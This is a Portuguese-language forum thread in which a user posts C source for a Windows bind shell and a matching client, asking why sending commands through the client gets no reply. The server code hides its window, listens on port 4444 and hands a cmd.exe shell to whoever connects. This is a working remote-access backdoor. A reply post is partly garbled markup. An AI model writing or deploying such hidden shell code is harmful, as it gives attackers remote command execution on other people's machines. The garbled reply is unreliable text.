Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Ajuda Remote Shell

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Ajuda Remote Shell

    Ola a todos, eu estou aqui com um problema de lógica e preciso de ajuda de alguen que domine a linguagem de programaçao C. É o seguinte:

    Eu tenho este source que binda um shell a uma porta para connectar remotamente:

    Servidor:

    Código:
    #include <windows.h>
    #include <winsock2.h>
    
    int main()
    {
      WSADATA wsa;
    
        SOCKET s;
        SOCKADDR_IN sAddr;
    
        PROCESS_INFORMATION pi;
        STARTUPINFO si;
    
        memset( &si, 0, sizeof( si ) );
        si.cb = sizeof( si );
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        
        
        WSAStartup( 0x0202, &wsa );
        s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
        sAddr.sin_addr.s_addr = INADDR_ANY;
        sAddr.sin_port =  htons(4444);
        sAddr.sin_family = AF_INET;
        bind(s,(struct sockaddr *)&sAddr, sizeof(sAddr));
        listen( s, 5 );
    
        s = accept( s, NULL, NULL );
    
      
       while(1)
        {
        
        si.hStdInput = (HANDLE)s;
        si.hStdOutput = (HANDLE)s;
        si.hStdError = (HANDLE)s;
        
        CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );
        
        WaitForSingleObject( pi.hProcess, INFINITE );
    	
        CloseHandle( pi.hProcess );
        CloseHandle( pi.hThread );
        closesocket( s );
    
        WSACleanup();
    	
    }

    Aqui no servidor está tudo bem, o meu problema é na hora de receber os dados no cliente:

    Cliente:

    Código:
    #include <windows.h>
    #include <winsock2.h>
    
    
    int main(void) 
     {
        SOCKET mysocket;
        WSADATA ws;
        int check;
        char buffer[1024], buffer1[1024];
        struct sockaddr_in local;
        int x;
        WSAStartup(MAKEWORD(2,2),&ws);
        mysocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
        local.sin_family = AF_INET;
        local.sin_port = htons(12345);
        local.sin_addr.s_addr = inet_addr("127.0.0.1");
        
        connect(mysocket,(struct sockaddr *)&local,sizeof(local));
       
     
    //O problema está aqui. 
    
        while(1)
         {
             memset(buffer,0,sizeof(buffer));
             recv(mysocket,buffer,sizeof(buffer),0);
             printf(buffer);
             
         }
    
    }

    Como eu recebo o buffer do servidor e envio os comandos?? Já experimentei de diversas maneiras até agora nada, Assim como está o código eu recebo:



    Código:
    Microsoft Windows [Versão 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados.
    
    C:\Users\>

    Agora para eu enviar comandos para o servidor supostamente deveria de usar a função send()


    Código:
    gets(buffer);
    send(mysoket,buffer,sizeof(buffer),0);

    Pelos testes que fiz ele envia o comando, porém não recebo qualquer resposta do servidor. Tou aqui com falta de lógica, por isso peço ajuda de alguém que tenha conhecimentos em C para me ajudar a perceber o que está mal. Sei que está tudo bem com o servidor, porque utilizei o NetCat para connectar ao servidor e funciona tudo normal.

    Penso que me tenha conseguido explicar bem.

    Ferramenteas: Windows 7 e Dev-C++
    Similar Threads

  • Font Size
    #2
    c++

    DE][/CODE]<img width="21" Essa linguagen vou começar,apesar de ser estremamente complexa, quase a nivel humano,não custa nada aprofundar mais um pouco.height="20" alt="Envolver o texto selecione com a tag

    Comment

    X
    Working...
    X